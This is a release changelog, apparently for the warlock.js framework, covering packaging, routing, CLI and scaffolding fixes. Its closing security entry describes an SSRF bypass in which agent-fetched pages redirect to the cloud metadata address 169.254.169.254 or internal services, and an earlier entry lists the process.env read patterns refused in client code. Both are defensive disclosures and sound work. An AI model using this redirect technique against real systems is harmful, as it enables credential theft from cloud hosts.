    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/heraldFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/loggerFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/schedulerFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/sealFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    @warlock.js/webFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    create-warlockFixed 1
    • FixedDocumentation shipped in this package's skills/ told users to run pnpm-specific commands. pnpm <binary> has no npm equivalent, so those instructions failed outright for anyone not using pnpm. Commands are now package-manager neutral.
    5.4.0
    September 7, 2026

    The release the generator matrix caught. Every warlock add <feature> path now runs end to end in CI before a publish — and the first run found six defects a developer would have hit in their first hour: warlock routes --json printed its status banner into the JSON so the documented pipe could never work, warlock add react-email crashed on the scaffold’s own commented tsconfig.json, warlock add web shipped an app whose homepage returned 500 from a duplicate GET /, its generated code failed the scaffold’s own lint, and warlock add notifications generated a controller that did not compile.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreChanged 3Fixed 6
    • ChangedCommand success and failure banners now write to stderr, not stdout. stdout carries a command's output; status chrome carries no data. A script that captured only stdout to grep for ✔ … completed successfully must now read stderr. Nothing could have depended on the previous behaviour for --json, whose payload was unparseable precisely because of it.
    • ChangedFeature generators that patch tsconfig.json now edit its text instead of parsing and rewriting it, so the file's comments survive.
    • Changedwarlock add web locates an existing GET / by scanning src/app/**/routes.ts rather than assuming one hardcoded path.
    • Fixedwarlock routes --json could not be parsed. The command's success banner shared stdout with the JSON payload, so the documented machine seam — "emit the routes as JSON for piping into scripts/CI" — produced output no consumer could read, and always had.
    • Fixedwarlock add react-email failed on every freshly scaffolded app. It read the project tsconfig.json with JSON.parse, and the scaffold's own tsconfig carries // comments, so the command aborted pointing at the developer's file.
    • Fixedwarlock add web produced an app whose homepage returned HTTP 500. GET / was registered twice — by the scaffold's own home route and by the generated page — and Fastify refused the duplicate. Affected both warlock dev and warlock start.
    • Fixedwarlock add web generated code that failed the scaffold's own lint gate: twelve prettier/prettier errors in files the developer had not written.
    • Fixedwarlock add notifications generated a controller that did not compile — seven TS2345 errors from passing request.user where a Notifiable | Id was required.
    • FixedEvery warlock command opened a stdin handle at import time, through a module-level singleton whose constructor defaulted to process.stdin. Only warlock dev has any use for stdin.
    5.3.2
    September 5, 2026

    The release that made our own checks tell the truth. prettier --check had been reporting a clean workspace while checking four files, web had been failing 9 tests and its typecheck since before 5.3.0 with nothing saying so, and 57 interfaces imported as values were crashing the from-source boot. The release gate now runs every package’s own suite and refuses to pack a dirty one. Ports also stopped lying: a configured port is normalised before anything binds, the bound port is what gets reported, and a startup precondition that cannot clear itself stops instead of restart-looping forever. npm create warlock completes on a clean machine again.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 7
    • FixedAn HTTP_PORT that does not round-trip through Number() — 03999, " 3999", +3999, 1e3 — reached the HTTP boot path as a string. 1e3 bound port 1000 with no diagnostic anywhere, the port published to the ready signal was the raw configured value, and PortInUseError's suggestion string-concatenated into port: 039991. A configured port is now resolved to a canonical integer before anything binds, logs or reports it, and a value that cannot become one fails naming it.
    • FixedAn ambient environment variable that overrode the app's own .env did so silently. The precedence is unchanged and deliberate — a checked-in .env is a default, an exported variable is the situational override — but the app now prints one line naming the variable, the value in effect, and that it came from the process environment. Keys that look like secrets are named with their values redacted.
    • FixedThe port reported to a supervisor, to WARLOCK_TEST_SERVER_PORT and to the ready report was the configured port rather than the one actually bound. It is now read back from the address listen() resolves with, so the two can no longer diverge — including under http.port: 0, where the configured value carries no information at all.
    • Fixedwarlock dev restart-looped forever on a startup precondition that could never clear itself, reprinting its own diagnostic every few seconds and then scrolling it away with the restart banner. A failed precondition now stops, prints once, and exits.
    • FixedThe port preflight ran after the database connected, so a busy port took 7–13 seconds to report on the warlock dev path. It now runs before the early-phase connectors, as it already did for a production build.
    • Fixed57 interfaces were imported as values across the package, each one crashing warlock dev's from-source boot the moment its file reached the per-file transpiler — which has no type information and so cannot elide the import.
    • Fixedlocalized() lost its StandardSchemaV1 typing in the published 5.3.0 and 5.3.1 tarballs. The typing is restored.
    create-warlockFixed 4Removed 1
    • Fixednpm create warlock could not complete on a clean machine. The starter's prepare script ran husky, which needs a git repository, and the scaffolder installs before it runs git init — so the install failed and the scaffolder aborted with an empty node_modules, with and without --no-git.
    • FixedThe first pnpm install in a fresh project failed with ERR_PNPM_IGNORED_BUILDS. pnpm writes pnpm-workspace.yaml with a literal esbuild: set this to true or false placeholder when it meets an ignored build script non-interactively, and then rejects that value on the next install. The template now ships a decided value, so pnpm never writes the placeholder.
    • FixedA scaffolded app failed its own ESLint check on the first warlock dev. The web feature injected its connector import at the TOP of warlock.config.ts, ahead of the imports the template already had, and the generated app formats with prettier-plugin-organize-imports — so the injected line was out of order the moment it was written. It is now inserted in sorted position.
    • FixedRunning the scaffolder without a terminal — from CI, a script, or any non-interactive shell — died with TTY initialization failed: uv_tty_init returned EBADF, a libuv internal shown to a developer whose only mistake was not being at a keyboard. A missing terminal is no longer an error when the flags already answer every prompt; only a genuinely unanswerable question stops the run, and it names --yes and the flags that supply it.
    • Removedhusky and its prepare script from the starter. Note what goes with it: the generated project ships no CI, so the format, lint, typecheck and test that ran on commit are gone with nothing yet replacing them. That gap is tracked separately.
    @warlock.js/webFixed 1
    • FixedA page-file segment carrying a bracket but no complete group could reach the parameter-name read with nothing to read. Unreachable as the surrounding checks stand, and now stated as a guard rather than assumed, so a future narrowing of those checks fails here naming the segment instead of throwing further down.
    5.3.1
    September 4, 2026

    A republish of 5.3.0 as one complete set. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install, so npm create warlock@5.3.0 failed to resolve. 5.3.1 is the same code, verified by scaffolding, building and booting a real app from the public registry.

    Full release notes or run npx warlock release-notes.

    create-warlockFixed 1
    • Fixednpm create warlock@5.3.1 resolves and runs. The 5.3.0 scaffolder could not install, because the family's reciprocal exact peer requirements were unsatisfiable from a fresh registry install.
    @warlock.js/coreFixed 1
    • FixedRepublished the complete family so a clean install resolves. The 5.3.0 publish left the family's reciprocal exact peer requirements unsatisfiable from a fresh registry install; 5.3.1 is the same code, published as one complete set.
    @warlock.js/webFixed 1
    • FixedRepublished the complete family so a clean install resolves. Same code as 5.3.0, published as one complete set.
    5.3.0
    September 3, 2026

    The silent-failure release. Routing now validates every page path it derives — a directory that owned a layout prefix was skipping classification, letting two pages resolve to the same URL — and a page's declared route.path is validated for the first time. Error responses gained a no-store floor, warlock gen emits handlers that actually compile against v5, and the web layer ships a real 404 page and request-bound localization.

    Full release notes or run npx warlock release-notes.

    @warlock.js/webAdded 2Fixed 6
    • AddedA standalone Warlock 404 page, styled and served by the web layer.
    • AddedRequest-bound web localization: the active locale travels with the request rather than being read from ambient state.
    • FixedThe 404 page's stylesheet was imported through a Vite-only ?url&inline query, which the release bundler could not resolve — the web package could not be built for publication at all. The stylesheet URL is now produced by a plain module, guarded by a test that keeps the emitted markup byte-exact against the CSS file.
    • FixedA directory that owned a layout prefix was never classified, so bracket syntax inside a group name went unexamined and two different pages could derive the same route. Every directory name is now validated before the route decides whether it contributes.
    • FixedA page's DECLARED route.path was never validated — the validator had zero callers.
    • FixedBracket syntax inside a group name is rejected instead of silently deriving a route.
    • Fixeddiscover-pages now composes paths through the same validated seam as the rest of routing, so the two can no longer disagree.
    • FixedAn unobservable auth mark revokes a cache opt-in: unproven now means revoked, not assumed safe.
    @warlock.js/coreChanged 1Fixed 3Removed 1
    • ChangedA request is marked auth-derived the moment user or decodedAccessToken is assigned, so cacheability is decided by what the request actually read rather than by a separate declaration.
    • FixedEvery error response was cacheable. The no-store floor is now set at the single error funnel, so an error can no longer be served from a cache to a second request.
    • Fixedwarlock gen emitted controllers with v4 handler signatures — every generated controller failed to compile against the v5 contract. The generator now emits the v5 ctx object signature.
    • FixedA validated file field was inferred as unknown; the sweep that found it found a second occurrence, and both are fixed.
    • RemovedFive unreachable error branches that described a response the framework never sent.
    create-warlockAdded 1Changed 1Fixed 1
    • AddedA browser gate for the freshly scaffolded starter, so the generated project is exercised in a real browser rather than assumed to work.
    • ChangedThe web starter template migrated to the current page contract, with a pinned home route identity so SSR and hydration agree on one route name.
    • FixedThe scaffolder no longer parses CSS as TypeScript.
    5.2.4
    September 2, 2026

    Web starter HMR repair. warlock add web now isolates universal page registration in a stable sidecar so React Fast Refresh preserves component state while SSR and hydration keep the same lifecycle.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 1
    • Fixedwarlock add web now writes universal page setup to src/web/index.register.ts and re-exports register() from the page, preserving component state across React Fast Refresh edits without changing SSR or hydration registration.
    5.2.3
    September 2, 2026

    Generator repair. warlock add preserves exact Warlock family pins, while warlock add web emits a projection-safe generated page with one index identity shared by SSR and hydration plus deterministic favicon and form IDs that remove the generated-page console errors. Published fixes only: the Web starter remains under release-gate hold pending 5.2.4.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 2
    • Fixedwarlock add now preserves exact lockstep versions for added Warlock family packages while retaining declared ranges for third-party dependencies.
    • Fixedwarlock add web now emits a projection-safe register() hook and one index route identity for SSR and hydration, with deterministic form and favicon markup for a clean browser console.
    @warlock.js/webFixed 1
    • FixedThe generated Web starter now projects and hydrates unchanged with one index page identity, universal localization registration, and deterministic browser markup.
    create-warlockFixed 1
    • FixedNew projects now resolve and stamp the coherent 5.2.3 family, making the repaired Web generator the default scaffold path.
    5.2.2
    September 2, 2026

    Lockstep packaging repair. Restores exact 5.2.2 pins across the complete Warlock package family after the partial 5.2.0 and 5.2.1 releases could not satisfy reciprocal exact peers. Known issue: warlock add web generates an app that does not boot or hydrate.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 1
    • FixedRestored exact 5.2.2 pins across the complete Warlock family. The partial 5.2.0 and 5.2.1 releases could not satisfy the family's reciprocal exact peer requirements in a clean install.
    @warlock.js/webFixed 1
    • FixedRestored exact Core and Seal peer pins at the family's shared 5.2.2 version. The partial 5.2.1 release could not satisfy reciprocal family peer pins.
    create-warlockAdded 3
    • AddedA resolver-boundary check (scripts/check-resolver-boundaries.mjs), run in CI. Every package.json in the checkout is treated as a publish boundary; the script walks each package's tsconfig.json paths and any vite.config.* / vitest.config.* alias and fails if one resolves outside its own package. A test/build-only alias that reaches into a sibling checkout (e.g. ../core/src) proves nothing about the published package — it resolves locally today and 404s the moment the package is installed on its own. Covered by specs/resolver-boundaries.spec.ts.
    • Added--help/--version are now exercised end to end (specs/cli-entry.spec.ts): both exit 0 before createNewApp runs — no prompt, filesystem write, or network call — and --help wins even over a positional project name and other flags. --version prints this package's own package.json version, pinned loosely (a bare semver-ish string) since the exact value drifts every release.
    • AddedA CI workflow (.github/workflows/ci.yml), with two jobs: specs (resolver-boundary check, a --version smoke test asserting the built CLI's reported version matches package.json, then vitest) and scaffold-typecheck (the existing typecheck:scaffold gate, scaffolding a real project and installing it). specs runs on pushes to main/master and every pull request; both jobs also run nightly (schedule: cron "0 4 * * *") plus workflow_dispatch, since the scaffold-typecheck gate installs the framework from the registry and can go red from a framework release alone, without anyone touching this repo.
    @warlock.js/ai-anthropic
      @warlock.js/ai-bedrock
        @warlock.js/ai-deepseek
          @warlock.js/ai-google
            @warlock.js/ai-groq
              @warlock.js/ai-live
                @warlock.js/ai-mistral
                  @warlock.js/ai-ollama
                    @warlock.js/ai-openai
                      @warlock.js/ai-panoptic
                        @warlock.js/ai-tools
                          @warlock.js/ai-workspace
                            @warlock.js/ai-xai
                              @warlock.js/context
                                @warlock.js/seal
                                  5.2.1
                                  September 2, 2026

                                  Packaging repair. @warlock.js/core rebuilds the published manifest with the complete family registry and npm-resolvable internal ranges after 5.2.0 leaked workspace: specifications, while @warlock.js/web tightens its Core and Seal peer ranges; this partial family release still could not satisfy the family's reciprocal exact pins.

                                  Full release notes or run npx warlock release-notes.

                                  @warlock.js/coreFixed 1
                                  • FixedRebuilt the published package with the complete Warlock family registry and installable npm ranges for every internal dependency. The 5.2.0 registry manifest leaked six workspace: dependency specifications and could not be installed outside the monorepo.
                                  @warlock.js/webFixed 1
                                  • FixedTightened the Core and Seal peer ranges to ^5.2.0. Web 5.2 production code imports Core APIs that were not available in Core 5.0, while the former Seal * range promised compatibility across unrelated major versions.
                                  5.2.0
                                  September 2, 2026

                                  Web routing and production-build release. @warlock.js/web adds filesystem-derived routes, error boundaries, universal registration, live development route updates, and stricter client safety; @warlock.js/core adds connector build hooks, warlock routes:diff, validated proxy configuration, atomic build promotion, and start-time artifact checks.

                                  Full release notes or run npx warlock release-notes.

                                  @warlock.js/webAdded 5Changed 8Fixed 1
                                  • Addederror.page.tsx — the application's one error boundary. It renders when a middleware, loader, or component throws; declares no route, exactly like 404.page.tsx; and a second error.page.tsx anywhere beneath src/web is a build error. Its component receives { error, status } — the real thrown value during SSR, a JSON-safe { name, message, stack? } after hydration. robots: noindex is a framework default on this path and cannot be overridden away. If the failure happens before any page module could load — a module-load or register() throw — the response falls back further, to a framework-owned boundary with no application code at all, and is served without a hydration script rather than risk hydrating against markup nothing can vouch for.
                                  • AddedA page's route export is now optional. A *.page.tsx with no route derives its path and its name from its location beneath src/web: directories contribute segments, (group) directories contribute nothing, index.page.tsx claims its own directory, and [id] becomes :id. An explicit route still always wins over the derived one. This replaces the 5.1 behaviour, where an omitted route threw MissingRouteExportError at install time — that error class no longer exists.
                                  • AddedLive page-route re-registration in warlock dev. Creating, deleting, or editing a page's route export used to require a manual restart to take effect — the route table was built once at boot and never again, so a renamed route kept serving its old path and a deleted page kept 404-ing at its old URL forever. The dev connector now re-registers the affected routes in place, atomically, with no dev-server restart and no loss of Vite's HMR state. A component-body-only edit still takes the ordinary Fast Refresh path; only membership and route-identity changes go through this path.
                                  • AddedA dev-only diagnostic for a page file that exists but isn't reachable. When a request 404s, Warlock checks whether an unregistered *.page.tsx under src/web would have matched it, and if so, warns naming the file. This is the case that used to be silent: a page created after boot, or one whose route was edited to a path nothing else claims, previously 404'd with no explanation anywhere in the terminal.
                                  • Addedexport const register — an optional, synchronous, no-argument hook on root.tsx, layout.tsx, and *.page.tsx. It runs once per module namespace instance, on both the server and the browser, before that module's middleware or loader — the seam for one-time setup a page or layout needs on both sides of hydration. It must not return a Promise; returning one throws.
                                  • ChangedPage requests now tolerate one trailing slash identically in development and production. /about and /about/ serve the same page; / remains the root path and case handling is unchanged. Previously the development dispatcher accepted the slash while the production Fastify route returned 404.
                                  • Changed⚠ BREAKING — process.env is refused entirely in the client/universal graph, and there is no PUBLIC_ exception. Neither a static key (process.env.PUBLIC_API_URL) nor a computed one (process.env[key]) is allowed: process does not exist in a browser, so there is no such thing as a "public" process.env key. Bare value-reads of the object now fail too — const { X } = process.env, { ...process.env }, Object.keys(process.env), JSON.stringify(process.env), or passing it as an argument — which is the case that previously let an entire server environment reach a component in one line while every keyed read was being refused. globalThis.process.env, window.process.env and process["env"] are matched as well.
                                  • Changed⚠ **BREAKING — a *.page.tsx with no default export is now a hard discovery/build failure, naming the file.** It previously built and registered, then served a blank 200 at its URL — a page that looked deployed, rendered nothing, and produced no error anywhere.
                                  • ChangedInitial stylesheet links are route-scoped in development and production. Each response now links the ordered, deduplicated CSS chain for its own [root, ...matched layouts, page]. Production follows those source entries and their static imports in Vite's manifest instead of collecting CSS across the whole application; development promotes direct stylesheet imports from the matched page and layouts as well as the root. Unrelated page CSS no longer ships on every response, and page-local critical CSS no longer waits for hydration in development.
                                  • ChangedThe production static-asset refusal now names the working 5.2 alternative. Imported non-stylesheet assets still work under Vite in development but are refused by the esbuild server bundle rather than risk a server/client URL mismatch. The diagnostic now tells the developer to place the file under the application's public/ directory and reference its root URL (public/logo.svg → /logo.svg) instead of waiting for an unspecified future server build. Stylesheet imports remain supported.
                                  • ChangedLoader execution is sequential, root to leaf, and terminal responses stop lower work. The root.tsx App loader runs first, followed by every matched layout loader from outermost to innermost, then the page loader. The runtime has three top-level slots (app, layout, page), but the layout slot composes the full matched layout chain. A page still has at most one _rendering_ layout; loader-only and middleware-only layouts may appear at multiple ancestry levels.
                                  • ChangedCatch-all page routes are documented as unsupported. [...slug].page.tsx does not do what it looks like: filesystem routing recognizes only [name] as a dynamic segment, so [...slug] is taken as a literal segment and derives the path /docs/[...slug] and the name docs.[...slug] — reachable only at the literal URL /docs/%5B...slug%5D. ⚠ Nothing warns about it: no build error, no dev warning, no refusal, just a page that answers a URL nobody will request. A real catch-all is deferred; until then use a terminal wildcard with an explicit route (route = { path: "/docs/*" }). This entry records the gap, it does not close it.
                                  • Changedsrc/web is the only page root. A per-module src/app/<module>/web/ tree is no longer discovered, walked, or installed as a page root by either warlock dev or warlock build. Move any page, layout, or root file that lived under src/app/<module>/web/ into src/web/ (a subdirectory is fine — it still contributes a route segment the same way).
                                  • FixedA custom 404.page.tsx loader no longer executes. The not-found page still registers and renders its real module namespace, but its request triple omits the page loader in both development and production. A missing URL therefore cannot trigger application data work, redirect, or fail a second time through the fallback itself.
                                  @warlock.js/coreAdded 2Changed 8Fixed 3
                                  • AddedConnectors can contribute to warlock build through an optional static build object. Configured connectors may define ordered, awaited generate(context) and emit(context) hooks without being booted or started. generate can add generated entry imports and a narrow esbuild patch; emit can produce non-esbuild artifacts after the server bundle. Unknown contribution keys, duplicate/reserved connector names, generated unresolved imports, and hook failures stop the build instead of producing a partial artifact.
                                  • Addedwarlock routes:diff — compares the live dev-server page-route surface against the last successful warlock build's snapshot (page-routes.manifest.json in the build outdir). Boots diagnostically (same fail-loud boot as warlock routes / warlock doctor — no connectors started), then reports changed / removed / added page routes and exits non-zero on drift; exits 0 with "Page routes match" when the two agree. Refuses to run (with an instruction to run warlock build first) when no snapshot exists yet, or when an existing one is malformed. A route whose path/name moved but whose source file didn't is reported as one changed line instead of a removed + added pair.
                                  • ChangedIncoming routes now match with or without one trailing slash in both development and production. /about and /about/ dispatch to the same route; / remains /, query strings are preserved, and case matching is unchanged. Both router paths call the same request-path normalizer before matching instead of relying on different Fastify/find-my-way defaults.
                                  • Changed⚠ BREAKING — http.trustProxy is validated at boot, and a number is refused. The accepted shapes are exactly boolean, a non-empty string (a single IP/CIDR or several comma-separated), a non-empty string[], and an (address, hop) => boolean predicate; a missing or nullish value means false. Anything else — a number, "", [], an array with a non-string entry, a plain object — now throws a TypeError while the HTTP server is being constructed, before Fastify is instantiated, instead of being handed through and silently coerced
                                  • Changedwarlock build writes into a temporary directory and promotes it only on success. The build no longer writes into outdir as it goes. It builds into a hidden sibling directory (.<outdir-basename>.build-<hex>, same volume so the promotion is a rename), writes a .warlock-build.json success marker ({ status, builtAt }) as its last step, then swaps the directory into place. A successful build therefore leaves no stale files — outdir is replaced wholesale rather than merged over, so an artifact a previous build emitted and this one did not is gone. A failed build leaves no usable dist — the temp directory is removed and the error rethrown without outdir ever being touched, so a previous good build survives intact and no half-written one takes its place
                                  • Changedwarlock start refuses a dist that was not produced by a successful build, and names that as the reason. It checks for the .warlock-build.json marker in outdir before spawning anything; missing, unreadable, malformed, or status !== "success" all exit 1 on stderr with
                                  • Changedwarlock start surfaces the child process's real output on a failed boot. The production supervisor forwards every stdout/stderr chunk from the spawned bundle verbatim and live, and its failure summary now reports whether a cause actually arrived: the cause is printed above, in the application's own output when output was seen, and no output was captured from the application process — its cause did not reach this terminal when none was. It previously pointed at "above" unconditionally, which on a silent child meant pointing at an empty terminal
                                  • ChangedThe HTTP connector now preflights its port before binding. warlock dev and warlock start both go through HttpConnector.start(), which now calls assertPortIsAvailable(port, host) immediately before listen(). A collision now surfaces as EADDRINUSE: Port <port> is already in use on <host>. Stop the dev server (or whatever else is listening on port <port>) and run again... — the code and the port named in the same sentence — instead of a bare EADDRINUSE thrown from inside Fastify with no indication of which port it meant. EACCES on the port is treated the same way, since "cannot bind" is one problem from the operator's side. The test server (startHttpTestServer) already preflighted its port before this release; this brings dev/start to the same behavior.
                                  • ChangedstartHttpTestServer() now runs Application.runStartupValidators() — the same slot warlock dev and the generated production app.ts already ran it in — after application modules load and before the late-phase connectors (http, socket) bind. A validator registered via Application.onValidateBoot(...) that rejects now aborts the test server's boot exactly as it aborts dev/start, instead of only being enforced outside of tests.
                                  • Changedwarlock add web scaffolds a real, validated API endpoint, not just a static page. It now also writes src/app/contact/routes.ts and src/app/contact/controllers/contact.controller.ts (a POST /api/contact route validated with @warlock.js/seal), and src/web/home.page.tsx ships an interactive, localized (en/ar) contact form wired to that route via @mongez/http - @mongez/react-form + @mongez/react-localization. The web feature now also installs those three packages as dependencies.
                                  • Fixed**Feature definitions no longer carry stale ~4.0.0 defaults for @warlock.js/*.** They now use an explicit internal placeholder that warlock add must resolve from the installed Core version before invoking a package manager or writing package.json. A forgotten resolution therefore fails loudly instead of silently selecting an old framework major.
                                  • FixedstartHttpTestServer() fails loudly instead of silently skipping the preflight when http.port doesn't round-trip through Number() (e.g. HTTP_PORT=03999, +3999, 1e3, or a value with stray whitespace) — previously it returned early and let the connector reach listen({ port }) with the unvalidated value and no published port for test workers to resolve.
                                  • FixedA race in the mail SES driver where getSesMailer() could read the eagerly-loaded nodemailer module before its load promise had settled. It now awaits the in-flight load first (throwing the "nodemailer is not installed" install-instructions error if the load ultimately failed), matching the guard the SMTP path already had.
                                  5.1.0
                                  August 26, 2026

                                  @warlock.js/web repairs published React hydration and adds an application-owned 404 page, typed metadata, and safer Fast Refresh boundaries; @warlock.js/core adds Tailwind and shadcn setup commands.

                                  Full release notes or run npx warlock release-notes.

                                  @warlock.js/webAdded 3Changed 1Fixed 2Removed 1
                                  • Added404.page.tsx — an app-owned not-found page. It renders only when text/html is explicitly present in the request's Accept header, so an unmatched /api/... path still returns the JSON 404 an API client expects rather than a document. It renders with no layouts: discovery reports an empty layout chain for this page only, so the client hydration registry matches what the server has always rendered instead of wrapping a failure page in chrome that can itself throw or need data. Ordinary pages beside it keep their full layout chain, and nested-layout refusal on its path is unchanged.
                                  • Addedexport const metadata is typed (PageMetadata) and checked at build time. An unannotated object literal with a misspelled key — { tittle: "x" } — now fails the build, naming the file, the line and the offending key. It previously typechecked as a plain object and was silently ignored at runtime.
                                  • AddedFast Refresh in dev now applies only when an edit is confined to component bodies. Any module-level change — an import, a module-level declaration, or any server export, metadata included — forces a full page reload instead of a stale hot update; a JSX-only edit still hot-updates in place with component state intact.
                                  • Changed**warlock dev now refuses a *.page.tsx that exports no route**, throwing MissingRouteExportError and naming the file. It previously 404'd silently, so a missing export const route looked like a routing bug at request time. This matches what warlock build already did — dev and build now reject the same file.
                                  • FixedReact did not run at all in published installs of 5.0.0 through 5.0.2. The dev Vite server served react-dom/client as raw CJS, so hydrateRoot did not exist and the hydration module threw while being parsed. This one defect is the cause of all four symptoms reported against those versions: useState never updated, Fast Refresh never ran, metadata never refreshed, and <Link> fell back to a full page reload. Fixed by declaring the React entries in the dev server's optimizeDeps so they are pre-bundled to ESM before the browser asks for them. This is not a hydration _improvement_ — hydration did not happen.
                                  • FixedThe browser was loading two copies of every @warlock.js/web client module. Module-level state (context, the navigation runtime) existed twice, so a value written through one copy was invisible to the component reading the other.
                                  • RemovedA false comment shipped in 5.0.0 through 5.0.2 claiming that a page's route is derived from its file location. No such derivation has ever existed in this package; the route comes from the page's route export and nothing else. The comment is gone from the scaffold emitted by warlock add web, but every app scaffolded on 5.0.0, 5.0.1 or 5.0.2 still carries it in its own source — delete it by hand.
                                  @warlock.js/coreAdded 2Changed 2Removed 1
                                  • Addedwarlock add tailwind — installs and wires Tailwind CSS v4 through PostCSS.
                                  • Addedwarlock add shadcn — sets up the prerequisites shadcn/ui expects. It is _not_ a wrapper around the shadcn CLI: you still run that yourself to add components, this only makes the project ready for it.
                                  • Changedwarlock dev prints one status block per run. The banner is printed exactly once, and the URL it prints is never a raw [::1] address. The single-boot guard behind this is new in this release — it was never present in any published version, so duplicate boots on 5.0.x were real, not a display artefact.
                                  • Changedwarlock doctor now reports the same route count as warlock dev. The two walked routes differently and disagreed. doctor also emits zero warnings on a healthy project — so a warning now means something — and fails loudly on a route module that genuinely fails to load, instead of counting it as fine.
                                  • RemovedA false comment that the warlock add web scaffold emitted in 5.0.0 through 5.0.2, claiming a page's route is derived from its file location. No such derivation has ever existed. The stub no longer emits it; apps already scaffolded on those versions still carry the comment in their own source and must delete it by hand.
                                  create-warlockAdded 2Changed 2
                                  • AddedThe scaffold typechecks from a fresh install, and a CI gate keeps it that way. A newly created project previously could fail tsc on its own generated source.
                                  • AddedA real home page, replacing the placeholder — it includes a counter whose working state is proof that hydration actually ran in the browser.
                                  • Changedsrc/typings.d.ts is now the sanctioned home for RequestLocals / RequestUser module augmentation. The file is generated with both augmentation blocks stubbed and commented, so there is one obvious place to declare per-request typed data.
                                  • ChangedReplaced stale scaffold values that had been carried forward: the wow2 project name and the 4.15.0 dependency version no longer appear in generated projects.
                                  5.0.2
                                  2026-08-25

                                  Full release notes or run npx warlock release-notes.

                                  @warlock.js/webFixed 1
                                  • Fixed<Head/> read an empty document context under SSR. The connector now sets ssr.noExternal: ["@warlock.js/web"] in web-connector.ts. Without it the server loaded two instances of this package — one externalised, one bundled — so the context the renderer wrote to was not the one <Head/> read from. A published 5.0.1 install that returned 500 on a page request returns 200 after this fix.
                                  5.0.1
                                  2026-08-25

                                  Full release notes or run npx warlock release-notes.

                                  @warlock.js/webChanged 1Fixed 1
                                  • ChangedNarrowed the vite peer dependency to ">=7.3.5 <8", so a consumer resolving vite for this package cannot land on a version outside the range it is built against.
                                  • FixedInternal: a test in gate-b-secrets.spec.ts depended on the ambient NODE_ENV and failed depending on how the suite was invoked. No runtime behaviour changed.
                                  create-warlockFixed 1
                                  • FixedThe warlock binary was never linked in a yarn-1 scaffold. Installing the batched features under yarn 1 hit an _Invariant Violation_ in yarn's linker, which aborted the install before node_modules/.bin was written — leaving a scaffolded project whose own warlock command did not exist. App.pinViteResolution() now writes matching resolutions and overrides entries for vite into the generated package.json _before_ the batched feature install runs, so a single vite version is resolved and the linker completes.
                                  5.0.0
                                  2026-08-25

                                  Full release notes or run npx warlock release-notes.

                                  create-warlockAdded 1Changed 2
                                  • AddedThe project creator now offers the web feature for Warlock SSR pages.
                                  • ChangedScaffold command failures are captured and reported instead of allowing later success output to hide a failed dependency install, Git initialization, feature addition, or cache warm-up.
                                  • ChangedGenerated route handlers use the new request-context argument shape, and generated cache configuration honors CACHE_DRIVER.
                                  @warlock.js/sealChanged 2
                                  • ChangedIP validation no longer imports Node's net module, so the same IPv4 and IPv6 rules can run in browser bundles.
                                  • ChangedOptional validators now skip value rules only for absent values; present empty values such as "" are validated instead of passing through with the wrong output type.
                                  @warlock.js/webAdded 1Changed 1
                                  • AddedSSR React pages with hydration, client navigation, route metadata, shared data, and Vite integration.
                                  • ChangedThe hydration runtime is packaged as its own public entry, and production/dev route wiring now resolves the packaged client manifest and stylesheets.
                                  @warlock.js/authChanged 1
                                  • ChangedAuthentication can now use an explicit header or named-cookie credential source and a configurable canAuthenticate policy; invalid credentials are distinguished from server and configuration failures instead of turning every verification error into a 401.
                                  @warlock.js/coreAdded 1
                                  • Addedrequest.requireUser() — returns the authenticated user non-optionally, or throws UnAuthorizedError when no user is attached. For handlers behind an auth guard, where an absent user is a misconfigured route rather than a normal state; replaces request.user! assertions
                                  @warlock.js/access
                                    4.16.0
                                    August 18, 2026

                                    Security release across the framework. A full security audit closed 10 release-blockers — shell RCE, NoSQL/operator injection, filesystem path traversal, SSRF, dashboard stored XSS, IP-spoofing, and mass-assignment IDOR — and hardened orchestrator session/tenant isolation, supervisor fan-out, default log redaction, and trustProxy handling across ai, cascade, core, cache, logger, herald, access, ai-workspace, ai-panoptic, notifications, seal, context, fs, and create-warlock. Also bumps @mongez/* to the 2026-08-17 security release (reinforcements 4 CSPRNG Random).

                                    Full release notes or run npx warlock release-notes.

                                    @warlock.js/aiSecurity 8
                                    • SecurityguardedFetch no longer lets the platform follow redirects past the SSRF guard. The outbound policy validated only the _initial_ URL, then handed the request to fetch with automatic redirect following — so a page an agent was asked to load (ai.rag's loadWeb(), the skills urlSource manifest fetch, prepareAttachmentPart's remote-text path) could pass validation and then 302 into http://169.254.169.254/... or an internal service with no re-check. Every hop is now issued with redirect: "manual" and its Location is re-run through the full assertUrlAllowed policy (scheme, host allowlist, post-DNS private-IP deny) before being followed, capped at the new OutboundPolicy.maxRedirects (default 5). Credential headers (authorization, cookie, proxy-authorization) are stripped when a hop crosses an origin boundary, and 303/legacy 301/302-on-non-GET hops re-issue as a bodyless GET, matching platform semantics. Callers passing redirect: "manual" get the raw 3xx back as before; redirect: "error" rejects on any redirect. Regression tests cover the metadata/loopback/private redirect block, the off-allowlist redirect block, the hop cap, and the clean-redirect follow
